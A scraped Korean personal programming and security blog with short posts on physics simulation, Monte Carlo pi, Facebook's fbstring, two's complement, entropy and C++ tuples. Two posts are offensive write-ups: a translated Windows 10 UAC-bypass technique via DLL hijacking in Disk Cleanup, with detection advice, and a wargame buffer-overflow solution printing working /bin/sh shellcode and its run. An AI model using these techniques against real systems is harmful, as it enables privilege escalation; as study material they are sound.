import numpy as np
import math
g = 9.81
N = 1000
tau = 20.0
dt = tau/float(N-1)

SHO

state[0] : 늘어난거리, 위치
state[1] : 속도

dv_dt 유도식

      F = -mg -kx (탄성력)
      F = ma      (뉴턴 제2법칙 가속도법칙)
      ma = -mg -kx
      a = -g -(kx/m)

x(늘어난 거리)를 이용해서 가속도를 구해주는 것

euler 함수에 들어갈 [속도, 가속도]를 구해준다

def SHO(state, time):
    dx_dt = state[1]
    dv_dt = -k/m * state[0] - g
    return np.array([dx_dt, dv_dt])

euler

1차 일반 미분 방정식의 해를 근사시켜준다…
결국 Yn+1을 Yn을 이용해서 구해준다는 이야기

[Xn + v dt, Vn + a dt] == [Xn+1, Vn+1]

def euler(y, t, dt, f):
    return y + f(y, t) * dt

k : 탄성계수

m : 질량

x0 : 초기위치

v0 : 초기속도

k = 3.5
m = 0.2
x0 = 0
v0 = 0

t = np.linspace(0.0, tau, N)
y = np.zeros((N, 2))

y[0, 0] = x0
y[0, 1] = v0
for i in range(N-1):
    y[i+1] = euler(y[i], t[i], dt, SHO)
xdata = [y[i, 0] for i in range(N)]
vdata = [y[i, 1] for i in range(N)]
from pylab import *

add plot position

subplot(2,1,1)
plot(t, xdata)
xlabel("time")
ylabel("position")
<matplotlib.text.Text at 0x22a3a2c0780>

add plot velocity

subplot(2,1,2)
plot(t, vdata)
xlabel("time")
ylabel("velocity")
show()




저작자 표시 비영리 변경 금지
신고

WRITTEN BY
Jen6
jen6의 개발, 보안 블로그 까끔가다 쓸대 있는걸 올리려고 노력중

받은 트랙백이 없고 , 댓글이 없습니다.
secret
from random import random, seed
from math import sqrt

Monte Carlo Method

난수를 이용해 함수의 값을 확률적으로 계산하는 알고리즘
참고 url
몬테카를로 법을 이용해 pi의 근사값을 구해보자

  1. 반지름이 1인 원이 있다고 생각하자 ( $x^2 + y^2 = 1$ )
  2. 이제 그 원안에 점들을 찍는다.
    • 이때 난수가 사용된다. (점의 좌표 범위 : $ 0 \leq x \leq 1 , 0 \leq y \leq 1 $ )
    • random 함수의 값은 float으로 0~1 사이의 값이 리턴된다.
  3. 원의 넓이는 $\pi r^2$이고 정사각형의 넓이는 $4r^2$이다.
    따라서 원의 넓이를 정사각형의 넓이로 나누게 되면 $\frac{\pi}{4}$가 된다.

  4. 3번에서 구한 값에 4배를 해주면 원주율의 근사값이 나온다

#n은 점을 몇개 찍을것 인지를 지정해주는 변수 (n이 클수록 정확한 근사값을 얻을 수 있다.)
n = 10000
#inside, outside는 각각 원안에 원밖에 찍힌 점들을 저장해두는 list이다.
inside = []
outside = []
#n번 반복하면서 x, y에 random함수에서 나온 난수를 대입하고
#원안에 있는지 밖에 있는지 체크해서 넣어준다
for i in range(n):
    x = random()
    y = random()
    if sqrt(x*x + y*y) <= 1:
        inside.append([x, y])
    else:
        outside.append([x, y])
#원안에 찍힌 점들의 갯수 / 총 점의 갯수
pi = 4 * len(inside) / n
print('pi ≈ ', pi)
pi ≈  3.1436
#여기서부터는 찍힌 점을 그래프로 보여주는 코드이다. (읽을 필요 x)
import plotly.plotly as py
import plotly.graph_objs as go
inx, iny = zip(*inside)
outx, outy = zip(*outside)
inner_plot = go.Scatter (
    x = inx,
    y = iny,
    mode = 'markers',
    name = 'inCircle'
)

outter_plot = go.Scatter(
    x = outx,
    y = outy,
    mode = 'markers',
    name = 'outCircle'
)

data = [inner_plot, outter_plot]

layout = {
    'xaxis' : {
        'range' : [0, 1],
        'zeroline' : False,
        },
    'yaxis' : {
        'range' : [0, 1]
        },
    'shapes' : [
        {
            'type' : 'circle',
            'xref' : 'x',
            'yref' : 'y',
            'x0' : -1,
            'y0' : -1,
            'x1' : 1,
            'y1' : 1,
            'line' : {
                'color': 'rgba(0, 0, 0, 1)',
                'width' : 3,
            },
        },
    ]
}



fig = {
    'data' : data,
    'layout' : layout,
}
py.iplot(fig, filename='MonteCarlo_PI')
저작자 표시 비영리 변경 금지
신고

WRITTEN BY
Jen6
jen6의 개발, 보안 블로그 까끔가다 쓸대 있는걸 올리려고 노력중

받은 트랙백이 없고 , 댓글이 없습니다.
secret

CPPCon 2016 The strange details of std::string at Facebook

동영상 링크
ppt링크

뭐가 제일 페이스북에 효율적인지

string은 제일 중요한 요소중 하나
cpu전체의 18%가 std안에서 쓰임

string을 간단하게 만드는 것

gcc string(v < 5) Implementation

sizeof string is 8 (in gcc same as pointer)
다른 모든것보다 제일 많이 쓰이는 string? => empty string
but empty string is no empty
malloc을 해서 매 번 overhead를 감수하고 할껀가?
gcc는 매번 25byte arry를 가지고 있음 So empty is not empty

Q:왜 empty가 없는건데?
A:그러면 매 번 비어있는 string인지 체크해야함 if NullString || ptr != null_ptr 등등

gcc copy on write
copy 생성자를 받을때 original string의 레퍼런스를 하나 증가시킴 그후 메모리를 수정시킬때만 write함
(지금은 c++11 concurrency문제 때문에 drop)


fbstring

string관련 처리 코드에서 병목현상이 발생

  • 다른 페이지를 매번 접근
  • malloc에서 걸림

매번 힙을 사용하다 보니 문제가 생겨서 작은 사이즈의 string의 경우 스택을 사용해서 최적화를 진행

fbstring 구조

Normal String : data | size(14) | capacity(15) (data제외 29 바이트)

union

Small String : data \0 .... emty size (25바이트)

union으로 되어있기 때문에 small string의 사이즈를 넘어가게 되면 normal string으로 넘어가게 됨
이런 방식으로 하면 마지막에 널바이트로 덮으면서 남은 capacity도 표현 가능… 개똑똑)


최적화

  • normal string인지 small string인지 구분할 flag가 필요.
    facebook 에서는 JEmalloc이라는 메모리 할당을 씀
    bucket에서 쓸 수 있는 메모리를 리턴해주는데
    8byte align을 해서 29byte를 요청하면 32byte를 리턴해 줌.
    fbstring은 이 사실을 알고 있기 때문에 남은 3바이트를 flag에 사용하는 비트로 이용함
  • 일정 사이즈 이상 커지면 big size string으로 해서 ref conut를 사용(Copy on Write)

Performance of fbstring

gcc_string.size()

movq (%rdi), %rax
movq -24(%rax), %rax

fbstring.size()

movabsq $-4611686018427387904, %rax
testq %rax, 16(%rdi)
je .L7
----is_small-----
movq 8(%rdi), %rax
ret
.L7:
movsbq 23(%rdi), %rdx
movl $23, %eax
subq %rdx, %rax
ret

딱봐도 fbstring이 훨씬 길다.
small string인지 normal string인지 구분을 먼저하고 길이를 리턴 해야 하기 때 문에 라인 수도 더 길다.

근데 밴치마크를 하게 될 경우
gcc string : 1.6ns
fb string : 0.9 ns
???? 브랜치 까지 있는 9줄의 코드가 어떻게 하면 2줄짜리 코드보다 더 빠를 수 있지????

-> gcc string은 모두 힙을 쓰기 때문에 page fault가 자주 일어나게 됨 align된 string사이즈라면 fault가 더 적게 나서 fbstring보다 빠르지만 일반적인 경우 fbstring이 더 빠름

그래서 std::string 을 folly::fbstring으로 교체 해봤다.
-> 1% 성능향상 (적은것 같아 보일 수 있지만 fb에서 사용하는 모든 c++의 성능이 1%향상 되었다고 보면.. 티끌모아 태산이다. )

Killing the null terminator

fbstring lazily wrote \0

보통 string을 쓰나보면 push_back을 이용해서 concat하는 경우가 많음.
그래서 굳이 계속 \0을 붙여줄 필요 없이 필요할 때만 붙여줌
But this is illegal (표준에 맞는 구현이 아님 Concurrency를 생각하면 좋은 구현 X)
하지만 대부분의 사람은 null에 굳이 상관 없는 코드를 작성 하기 때문에 그냥 씀
c_str(), data()는 \0을 붙이게 됨

Problem in c_str()

const Char * c_str() const {
...
data[size()] = ‘\0’;
return data;
}

fb에서는 global read only string 변수를 두고 다양한 쓰레드에서 c_str()을 호출한다.
c_str은 구현대로 라면 const함수이기 때문에 원본 데이터에 대해서 변경이 없어야 함.
프로그래머 입장에서 보면 const라 데이터에 변화가 없다고 생각하지만 Cpu입장에서 보면 string마지막에 \0를 붙임으로써 cache line을 다 날려버린다..! 느려질 수 밖에

그래서 \0이 있는경우는 체크해서 data에 안쓰기로 결정!

const Char * c_str() const {
...
if (data[size()] != ‘\0’) //Problem Undefined behavior  
data[size()] = ‘\0’;
return data;
}

위에 저 if 안의 diff는 broken code.
초기화 되지 않은 메모리를 읽을 수 도 있음.
문자열 길이가 128바이트라면 129byte의 메모리가 필요함.
근데 je malloc에서 malloc을 하게 될 경우 128이란 숫자는 페이지 크기에 align 시키기 편한 숫자(gcd 4096 92) 이라 페이지의 맨 마지막(page last - 128)에 배치.

다른 97같이 align안 맞는 경우는 ok(뒤에 align을 맞추기 위해 보통 몇바이트 더 할당되기때문에)
128byte를 할당하면 페이지 맨 끝 부분에 할당되게 되면서 남는 메모리 공간이 없게됨

문제가 되는 부분은 if문

if(data[size()]==0)

data[size()]에 read 하게되면 129번째인데 할당되지도 않고 쓰지도 않은 메모리에 접근하게됨

근데 커널에서 Undefined mem(할당되지 않고 write도 안한 경우)에 접근하게되면 0을 리턴함. 그렇기 때문에 저 if문이 broken이라는 표현을 쓴듯
그래서 Null을 안쓰고 포인터를 리턴하게되고 write를 하게되면 믈리 페이지가 맵핑되면서 129번째에 널이 없는채로 리턴. 문자열 관련처리를 하다가 널을 찾아 3만리 떠날 수 있는 큰 문제

저작자 표시 비영리 변경 금지
신고

WRITTEN BY
Jen6
jen6의 개발, 보안 블로그 까끔가다 쓸대 있는걸 올리려고 노력중

받은 트랙백이 없고 , 댓글  3개가 달렸습니다.
  1. 이해가 쏙쏙되어요! 감사합니당 천사 건씌
  2. 정말 감사합니다 ! ^^ 오늘 행복한 하루 지내세요 ㅎㅎ
  3. 코잘남이되고싶어요 2017.04.05 17:53 신고
    역시 갓건! 정말 감사해요~
secret

binary 관련 간단한 정리

정수표현

정수타입에서 대부분 최상위 비트(Most Siginificant Bit)가 음수인지 정수인지를 구분한다는 것은 알고있을 것 이다. 나도 그냥 그렇게만 알고 음수표현은 양수에서 최상위 비트만 반전되는줄 알고 있었다. (하지만 그게 아니다..)

그러다 학교에서 친구가 파이썬에서 ‘~’ 가 뭐냐고 물어봐서 not이라고 대답해 주다가 이상한 부분을 발견했다. 0b101 을 not연산을 하게 되면 -0b110이 나오는 이상한 일이 일어난거다.

5 : 0b0101
!5 : 0b1010
내 생각으로는 최상위 비트가 1이고 나머지가 정수라면 -2가 되야한다고 생각했지만 음의 정수는 그렇게 표현하지 않는다.


source code

0을 0b0000으로 두고 -1부터는 0b000에서 1을 뺀 0b1111이 되는 방식이였다. 별거 아니지만 왜 정수형에서 대부분 양수만 설명하고 음수가 어떻게 되는지는 설명 안되어있어서 정리해 두었다.


binary 뺄셈

우리는 일반적으로 뺄셈을 계산할 때 7 -2 = 5 라고 계산한다. 하지만 CPU는 단순한 일 즉 덧셈만 할 수 있다. 우리가 하는 곱셈 나눗셈 등등 많은 일들도 모두 cpu는 덧셈으로 동작시킨다. 그렇기 때문에 7 - 2를 7 + (-2)로 바꿔서 계산해야 한다. 덧셈으로 뺄셈을 하는 방법은 두 가지가 있다.

1의 보수(One’s Complement)

7 - 2 
7  = 0b0111
2  = 0b0010

1의 보수에서는 먼저 음수가 될 수를 반전(Bit flip)시킨다.

2  = 0b0010
!2 = 0b1101

그 후 7과 더해준다

7  = 0b0111
!2 = 0b1101
------------
올림수(Carry) 0b1 | 결과 0b0100

지금과 같이 올림수가 나왔을 경우 2^0자리에 다시 더해준다

0b0100
0b0001
--------
0b0101 = 5

1의 보수를 이용하여 덧셈을 이용하여 뺄셈을 하였다. 1의 보수는 not연산을 통해 구해진다. 그래서 파이썬 같은 프로그래밍 언어들의 not 연산자의 영문 설명을 보면 bit flip or complement라 적혀있다.


2의 보수(Two’s Complement)

1의 보수는 올림수가 발생할 경우 계산이 복잡해진다. 이런 복잡함을 완화하기 위해 2의 보수를 사용하기 시작했다. signed와 unsigned의(쉽게 얘기하자면 부호 구분을 하는지 안하는지) 구분없이 덧셈 뺄셈이 가능하고 CPU구현도 간단해서 요즘 사용되는 CPU대부분은 2의 보수를 사용한다.
2의 보수는 계산을 할때 음수로 만들 수를 1의 보수(not연산)로 만든다음 1을 더해준다.

7  = 0b0111
!2 = 0b1101
!2 + 1 = 0b1110 = -2 in binary

0b0111
0b1110
-------
0b0101 = 5 (올림수는 버린다)

2의 보수를 만들게 되면 위에서 알아본 2진수로 음수를 표현하는 방식 그대로가 된다.


‘!’연산자와 ‘~’연산자 차이점

‘!’ 와 ‘~’ 모두 찾아보면 not operation을 수행한다고 나와있다.
하지만 둘에는 큰 차이점이 있는데 비트연산을 할 때는 ‘~’논리연산을 할 때는 ‘!’을 쓴다. 어떤 차이점이냐면.. 0b0111 이런 비트에 관한 연산을 할 때는 ‘~’을 쓰고 true false 와 같은 논리적인 것들에 대한 연산을 할 때에는 ‘!’연산자를 쓴다.
bitwise operator and logical operator

도움을 주신 이경문 멘토님 감사합니다

저작자 표시 비영리 변경 금지
신고

WRITTEN BY
Jen6
jen6의 개발, 보안 블로그 까끔가다 쓸대 있는걸 올리려고 노력중

받은 트랙백이 없고 , 댓글이 없습니다.
secret

원문(bypassing-uac-on-windows-10-using-disk-cleanup)은 다음과 같은 글 입니다.
내용이 재미있다고 판단되어 번역해봤습니다.
의역 오역이 있을 수도 있으니 너그럽게 봐주세요.

위 글은 원 저자에게 허락을 받고 번역한 글입니다.

Thanks to @enigma0x3


Matter Graeber과 나는 최근 WIndows10을 파보면서 User Account Control을 bypass할 수 있는 재미있는 방법을 찾았습니다.(UAC에 대해 잘 모른다면 이 글을 읽어보시면 됩니다.)

요즘에는 UAC bypass 기술들이 여러가지 있는데, 대부분의 기술들은 DLL hijack을 하기 위해 IFileOperation COM object 또는 WUSA extraction을 이용하여 권한있는 파일(privileged file)을 복사하게 됩니다.

기존에 있던 bypass 기술에 관심이 있다면 이 글읽어보면 됩니다.(by @hfiref0x)

이 글에서 다룰 방법은 기존의 권한있는 파일 복사나 코드 인적션(code injection)을 사용하지 않고 다른 대안을 제시합니다.


윈도우에서 프로세스가 로드 될 때 어떻게 동작하나를 조사 하기위해 SysInternals Process Monitor이란 툴을 자주 사용합니다.

윈도우10에 존재하는 기본적으로 스케줄된 작업들과(default Scheduled Tasks) 그 작업들이 어떤 동작을 하는지에 대한 조사 후, “SilentCleanup”라는 작업이 권한 없는 유저도 실행시킬 수 있지만 높은 권한(elevated/high intergrity privileges)을 가진채로 실행 된다는 것을 찾았습니다.

이런 작업을 찾기 위해 ‘Users’와 같은 권한 없는 계정을 이용하여 각각 작업이 “Run with Highest Privileges”보안 옵션이 체크 되어있는지 조사했습니다.



procmon을 이용해서 좀 더 자세히 보게 되면, 스케줄된 작업에 의해 cleanmgr.exe이 실행되는데 “excute with highest privileges”가 작업 설정에 되어있어 높은 권한으로 실행되게 됩니다.

조금 더 자세히 보겠습니다. cleanmgr.exe가 실행 될 때, “C:\Users\<유저이름>\AppData\Local\Temp”에 GUID를 이름으로 하는 새 폴더를 만듭니다.



cleanmgr.exe가 임시폴더를 만든 이후 여러개의 DLL들과 “dismhost.exe”를 임시 폴더에 복사하게 됩니다.



임시폴더에 모두 복사 한 뒤 cleanmgr.exe는 “dismhost.exe”를 새 경로에서 높은 권한을 가지도록 실행 시킵니다.



dimhost.exe는 “C:\Users\\AppData\Local\Temp\“에서 시작되며 DLL들을 같은 폴더 안에서 다음과 같은 순서로 로드합니다.




현재 계정은 일반권한 계정으로(medium intergrity user) 유저의 %TEMP% 폴더에
쓰기 권한이 있기 때문에 dismhost.exe에서 로드 하는 DLL을 납치(hijack a DLL)하고
높은 권한 상태에서 코드 인젝션을 할 수 있습니다.
이게 우리가 일반적으로 알려져 있는 BypassUAC 공격입니다.

이 경우 우리가 바꾸고자 하는 DLL을 dismhost.exe가 로드하기전에 바꿔야하는 레이스컨디션(race condition)상황입니다. dismhost.exe에 대한 더 자세한 조사를 통해 “LogProvider.dll”이 가장 마지막에 로드되기 때문에 납치하기에 가장 최적의 조건이란걸 알아냈습니다.

“LogProvider.dll”을 우리가 원하는 공격 DLL로 바꾸기 위해 “C:\Users\\AppData\Local\Temp\”가 생성되는 WMI event를 모니터링 하다가, 임시폴더가 생성되면 dismhost.exe가 “LogProvider.dll”를 로드하기전 공격 DLL로 바꾸는 WMI event를 실행시킵니다. 이렇게 “dismhost.exe”는 “LogProvider.dll”대신 공격 DLL을 로드하게 됩니다.



dismhost가 DLL을 로드하게 되면 UAC를 bypass했을 뿐만 아니라 원하는 코드를 높은 권한에서 실행 시킬 수 있습니다.


일반 유저 계정으로 cleanmgr.exe를 실행 시킬 때 %TEMP%폴더에서 어떤 파일도 사용하지 않는다는걸 추가적인 테스트를 통해 발견했습니다.

또 일반 유저 계정으로 낮음 혹은 보통 권한으로 실행시키면, 디스크 정리 작업이 중간 권한으로 실행되고 권한상승 또한 일어나지 않습니다.


Matt Graeber(@mattifestation)가 위 기술을 테스트 할수있는 PoC PowerShell 스크립트를 작성해 두었습니다.
https://gist.github.com/mattifestation/b4072a066574caccfa07fcf723952d54

이 스크립트를 실행시키기 위해서는 dllmain을 export시킨 DLL이 필요로 합니다.

테스트를 위해서 직접 DLL을 만들어도 되고 아래 만들어둔 간단한 MessageBox DLL을 사용하시면 됩니다.
https://github.com/enigma0x3/MessageBox


이 기술은 다른 공개된 기술에 비해 좀 더 편리하게 만들어주는 이점이 있습니다.

  1. 프로세스 인젝션(process injection)을 하지 않기떄문에 보안 솔루션들에 의해 감지되거나 모니터링 되지 않습니다.

  2. 권한을 요구하는 파일복사가 없습니다. 대부분의 UAC bypass는 공격 DLL을 넣기위해 권한이 필요한 폴더(secure location)에 복사를 하게됩니다. 하지만 스케줄된 작업이 %TEMP%폴더에 있는 파일을 사용하기 때문에 공격 DLL을 권한 없이 복사를 할 수 있습니다.

  3. 공격 DLL을 로드한 작업이 끝날때 %TEMP%에 만들어둔 폴더를 삭제하기 때문에 흔적이 삭제됩니다.

  4. 스케줄된 작업이 가장 높은 권한으로 실행 될 때, UAC가 가장 높은단계(“Always Notify”)로 되어있더라도 잘 동작합니다.
    가장 흔한 UAC bypass들은 권한이 필요한 복사를 할 때 IFileOperation COM object를 쓰게 됩니다.
    IFileOperation은 “Always Notify” UAC일 때 경고창을 띄우기 떄문에, 파일 복사에 실패할 수 도 있습니다.



Microsoft Security Response Center(MSRC)에 이걸 2016/07/20일날 알렸습니다.

예상대로 답변은 다음과 같이 공표되어 있기 때문에 UAC는 보안 분야에 포함되지 않아 보안 취약점으로 분류 할 수 없다고 했습니다.

비록 취약점은 아니지만, 공격자에게 있어 기존 방법과 다른 bypass와 권한 상승의 대안으로써 적용될 수 있고,
공격자의 행동을 확인해야 하는 위치와 체크포인트들을 알릴 수 있었습니다.

이 기술은 디스크 정리 작업에 대해 높은 권한을 삭제하는 방식으로 패치 할 수 있습니다.

더 나아가서 이 공격을 감지하고 싶다면 새 폴더를 생성하기 위해 모니터링 하는 WMI event들의 시그니쳐를 찾는 방식으로 탐지 하면 됩니다.

어플리케이션/DLL 화이트리스트와 비정상적 모듈이 로드되는것(예를들어 System event ID 7)을 같이 사용한다면 이 기술을 더 잘 막을 수 있을 겁니다.


저작자 표시 비영리 변경 금지
신고

WRITTEN BY
Jen6
jen6의 개발, 보안 블로그 까끔가다 쓸대 있는걸 올리려고 노력중

받은 트랙백이 없고 , 댓글이 없습니다.
secret
데이터를 저장하는데 필요한 비트수를 어떻게 표현할 수 있을까?
어떤 확률을 컴퓨터에 저장하기 위한 비트로 표현하기 위한 비트수는 Claude Shannon이라는 사람이 1948년에 다음과 같이 정의했다.

$I(x) = log_2(\frac{1}{P_x})$
이 확률을 만들기 위해 몇비트가 필요한지를 나타내는 것이라 $log_2$가 사용되었다.

예를들어 $P(x)$가 카드에서 어떤걸 뽑는 확률이라고 해보자.
조건은 하트라는 점이다. 그러면 확률 $P(x)$는 $\frac{13}{52}$ 가 된다.
그러면 아까 식에 대입해 보면 $I(x) = log_2(\frac{52}{13}) = 2bits$ 가 나오게 된다.

data

$P_x$

$log_2(\frac{1}{P_x})$

하트이다

$\frac{13}{52}$

2 bits

스페이드에이스 카드가 아니다

$\frac{51}{52}$

0.028 bits

J, Q, K이다

$\frac{12}{52}$

2.115 bits

suicide king(하트킹)이다

$\frac{1}{52}$

5.7 bits


위에는 다양한 상황의 확률변수에 대해 몇비트가 필요한기 구한 표이다.
표를 자세히 보면 정확한 조건일 수록 필요한 비트수가 많아진다. 왜냐하면 정확한 조건일 경우 전체에 대해 적은양의 데이터를 표현해야 함으로 더 많은 비트수가 필요하고
덜 정확한 조건일 경우 전체에 대해 상대적으로 많은양의 데이터를 포함할 수 있음으로 적은 비트수가 필요하다.

그러면 인코딩이 얼마나 효율적인지는 어떻게 알아볼까?
정보과학에서 엔트로피 $H(x)$는 $x$에 대해 받은 데이터 들에 포함되어있는 정보의 양의 평균이다.
$$H(x) = E(I(x)) = \sum_{i=1}^NP_i \cdot log_2(\frac{1}{P_i}) $$
여기서 $E(X)$는 평균 즉 기대값을 의미한다
그래서 이 엔트로피를 어디에 쓰느냐 라고 물어보면 다음과 같이 설명 할 수 있다.

확률이 모두 $\frac{1}{4}$인 확률변수들의 집합인 $X = \{A, B, C, D\}$이 있다고 해보자.
$X$중에서 어떤 값을 구별 한다고 했을때
1. $AB$ 인지 $CD$인지 구분한다
2. 1번의 결과에서 두개중 한개를 질문($A$인가?)대상으로 잡고 참 거짓으로 판단
총 2개의 질문으로 $A, B, C, D$를 구별 할 수 있다.

그렇다면 확률이 다른경우는 어떨까?

확률변수

$P_x$

$log_2(\frac{1}{P_x})$

A

0.5

1 bits

B

0.125

3 bits

C

0.125

3 bits

D

0.25

2 bits


다음과 같은 확률변수 $A, B, C, D$를 가진 집합 $X$가 있다고 했을때
$A$는 질문 한번 ($A$인가 아닌가)로 구별 할수 있고 $B, C$는 3번 $D$는 2번의 질문을 통해 어떤 값인지 구별 할 수 있다.

Info2
위 그림과 같이 엔트로피를 구해보면 평균적으로 1.75번 안에 어떤 값인지 구별할 수 있다는 의미를 가진다!

신고

WRITTEN BY
Jen6
jen6의 개발, 보안 블로그 까끔가다 쓸대 있는걸 올리려고 노력중

받은 트랙백이 없고 , 댓글이 없습니다.
secret

최근 마이크로소프트에서 새로운 브라우저 Edge의 자바스크립트 엔진인 ChakraCore의 엔진을 공개했는데 공개한 이유가 좀 재미있다.
보통 node js를 돌릴 때 크롬의 v8엔진을 사용하는데 마소가 Chakra를 오픈소스로 공개하고 Chakra를 이용해서 nodejs를 돌리게 해서 edge와 uwp를 이용해서 앱개발을 유도하려고 한다.
api도 추가되고 디버거도 공개하고 심지어 우분투15.10 x64에서 컴파일 가능하도록 준비하고 있다.
최근 edge사용해 보면서 나름 성능 괜찮다고 생각하고 있고 벤치마크 점수도 잘 나오고 있어서 앞으로 어떻게 될지 기대된다.
https://github.com/Microsoft/ChakraCore
http://www.infoq.com/news/2016/01/chakracore

신고

'공부 > 오픈소스 분석' 카테고리의 다른 글

마이크로소프트의 ChakraCore과 node js  (1) 2016.01.19
Crow 분석  (0) 2015.04.08

WRITTEN BY
Jen6
jen6의 개발, 보안 블로그 까끔가다 쓸대 있는걸 올리려고 노력중

받은 트랙백이 없고 , 댓글 하나 달렸습니다.
  1. 에.....엣지 우분투! 만세!!!!!! 2016.02.16 13:43 신고
    리눅스 데스크톱 사용잔데 우분투 컴파일 가능해지게 된다면.......

    엣지의 빠른 인터넷 속도를 활용하여 엄청난 속도의 웹서핑이 가능하겠순요

    과거 플레시 플레이어 지원 중단, 최근 크롬브라우저 64bit리눅스지원중단 이슈를 보며 리눅스 입지가 점점 좁아지는구나....했는데,
    오랫만에 좋은 소식입니다.
secret

C++11 부터 가변인자 템플릿(variadic template)을 지원하게 되면서 tuple의 구현이 재미있어졌다.

가변인자 템플릿을 지원하기전의 tuple은 최대 10개의 타입을 받는 것 까지 가능했다고 한다.
왜그러냐 하면 아래와 같이 N개 까지의 클래스를 모두 따로 정의해 뒀기 때문이라고 한다...
(VC2010기준 아래는 boost의 tuple)
tuple_macro

C++11 가변인자 템플릿을 이용할 경우 이런식으로 구현 할 수 있다. 

vs2015에 implemetation된 tuple클래스 인데 그냥 최소한의 소스만 가져왔다.
tuple의 각 value는 tuple_val에 저장한다.
tuple class같은 생성자에서 상속 받는 방법을 이용하여 recursive specialization을 사용해 모든 인자들에 대해 specialization을 할 수 있게 해준다.

1, 2, 3, 4 가 있으면
this-1 rest(2,3,4)
this-2 rest(3,4)
this-3 rest(4)
this-4
이런 식으로 진행된다고 생각 하면된다.

+

오늘의 교훈
소스가 막막하면 최소한 동작으로 줄이고 보자
답이 나온다

신고

WRITTEN BY
Jen6
jen6의 개발, 보안 블로그 까끔가다 쓸대 있는걸 올리려고 노력중

받은 트랙백이 없고 , 댓글이 없습니다.
secret

[nightmare@localhost nightmare]$ cat xavius.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - xavius
        - arg
*/

#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>

main()
{
        char buffer[40];
        char *ret_addr;

        // overflow!
        fgets(buffer, 256, stdin);
        printf("%s\n", buffer);

        if(*(buffer+47) == '\xbf')
        {
                printf("stack retbayed you!\n");
                exit(0);
        }

        if(*(buffer+47) == '\x08')
        {
                printf("binary image retbayed you, too!!\n");
                exit(0);
        }

        // check if the ret_addr is library function or not
        memcpy(&ret_addr, buffer+44, 4);
        while(memcmp(ret_addr, "\x90\x90", 2) != 0)     // end point of function
        {
                if(*ret_addr == '\xc9'){                // leave
                        if(*(ret_addr+1) == '\xc3'){    // ret
                                printf("You cannot use library function!\n");
                                exit(0);
                        }
                }
                ret_addr++;
        }

        // stack destroyer
        memset(buffer, 0, 44);
        memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));

        // LD_* eraser
        // 40 : extra space for memset function
        memset(buffer-3000, 0, 3000-40);
}


와... 이거 옛날에 못풀었다 다시봐도 못풀겠어서 결국 다른블로그 보고 풀음

STDIN자체에 저장하는 버퍼가 있음 0X4005000이였나 암튼 이런 주소 인데 여기 map으로 보면 실행권한이 없지만

실제로는 있음;;;

그럼 그냥 쉘코드 넣고 주소 넣어주면됨


payload = nop * 19 + shellcode(25byte) + stdin내부 버퍼 주소

[nightmare@localhost nightmare]$ (python -c'print "\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x13\x50\x01\x40" ';cat)| ./xavius
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
                                       ̀P@
my-pass
euid = 519
throw me away
id
uid=518(nightmare) gid=518(nightmare) euid=519(xavius) egid=519(xavius) groups=518(nightmare)

저작자 표시 비영리 변경 금지
신고

'공부 > LOB' 카테고리의 다른 글

[lob] nightmare -> xavius  (0) 2015.08.21
[lob] succubus -> nightmare  (0) 2015.02.19
[lob] zombie_assassin -> succubus  (0) 2015.02.17
[lob] assassin -> zombie_assassin  (0) 2014.07.30
[lob] giant -> assassin  (0) 2014.07.30
[lob] bugbear -> giant  (0) 2014.07.30

WRITTEN BY
Jen6
jen6의 개발, 보안 블로그 까끔가다 쓸대 있는걸 올리려고 노력중

받은 트랙백이 없고 , 댓글이 없습니다.
secret

fgets vs ReadFile

공부/c++ 2015.07.28 18:06

결론 WriteFile이 더 빠르다



저작자 표시 비영리 변경 금지
신고

WRITTEN BY
Jen6
jen6의 개발, 보안 블로그 까끔가다 쓸대 있는걸 올리려고 노력중

받은 트랙백이 없고 , 댓글 하나 달렸습니다.
  1. 더큰파일도 테스트 해보고 싶었으나 이상하게 무한루프를 돌아서 계속 파일사이즈만 커진다..
    이 문제는 추후 수정하는걸로
secret